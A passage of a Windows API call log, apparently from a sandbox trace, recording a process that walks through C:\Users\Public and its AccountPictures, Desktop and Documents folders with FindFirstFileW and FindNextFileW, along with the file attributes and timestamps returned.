nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5770 [0216.981] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.981] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x436238c4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccountPictures", cAlternateFileName="ACCOUN~1")) returned 1 [0216.982] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37f05f6, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37f05f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0216.982] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37f05f6, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0216.982] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d5bfea2, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d5bfea2, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0216.982] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0216.982] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0216.982] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0216.983] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0216.983] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0216.983] FindNextFileW (in: hFindFile=0x1d1f5770, lpFindFileData=0x1dc9e7b0 | out: lpFindFileData=0x1dc9e7b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0216.983] FindClose (in: hFindFile=0x1d1f5770 | out: hFindFile=0x1d1f5770) returned 1 [0216.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9ea10) returned 1 [0216.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e9d0) returned 1 [0216.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0216.983] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\AccountPictures", nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\AccountPictures", lpFilePart=0x0) returned 0x1f [0216.983] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\AccountPictures\\*" (normalized: "c:\\users\\public\\accountpictures\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x436238c4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5c50 [0216.984] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x436238c4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.984] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x436238c4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0216.984] FindNextFileW (in: hFindFile=0x1d1f5c50, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0216.985] FindClose (in: hFindFile=0x1d1f5c50 | out: hFindFile=0x1d1f5c50) returned 1 [0216.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0216.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0216.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0216.985] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\AccountPictures", nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\AccountPictures", lpFilePart=0x0) returned 0x1f [0216.985] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\AccountPictures\\*" (normalized: "c:\\users\\public\\accountpictures\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x436238c4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0216.985] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x436238c4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.985] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x436238c4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0216.986] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x436238c4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0216.986] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0216.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0216.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0216.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0216.986] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0216.986] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*" (normalized: "c:\\users\\public\\desktop\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37f05f6, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37f05f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0216.987] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37f05f6, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37f05f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.987] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37f05f6, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0216.987] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0216.987] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0216.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0216.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0216.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0216.987] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0216.987] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*" (normalized: "c:\\users\\public\\desktop\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37f05f6, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37f05f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0216.988] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37f05f6, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37f05f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.988] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37f05f6, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0216.988] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37f05f6, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0216.988] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0216.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0216.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0216.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0216.988] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0216.988] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*" (normalized: "c:\\users\\public\\documents\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d5bfea2, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d5bfea2, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0216.990] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d5bfea2, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d5bfea2, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.991] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37f05f6, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0216.991] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0216.991] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0216.992] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d5bfea2, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d5bfea2, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d5bfea2, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0216.992] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d5bfea2, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d5bfea2, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d5bfea2, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0216.992] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0216.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e250) returned 1 [0216.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9e210) returned 1 [0216.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9e320) returned 1 [0216.993] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1dc9de00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0216.993] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*" (normalized: "c:\\users\\public\\documents\\*"), lpFindFileData=0x1dc9e030 | out: lpFindFileData=0x1dc9e030*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d5bfea2, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d5bfea2, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0216.994] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d5bfea2, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d5bfea2, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.994] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37f05f6, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0216.995] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0216.995] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0216.995] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9dff0 | out: lpFindFileData=0x1dc9dff0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d5bfea2, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d5bfea2, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d5bfea2, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0216.995] FindNextFileW (in: 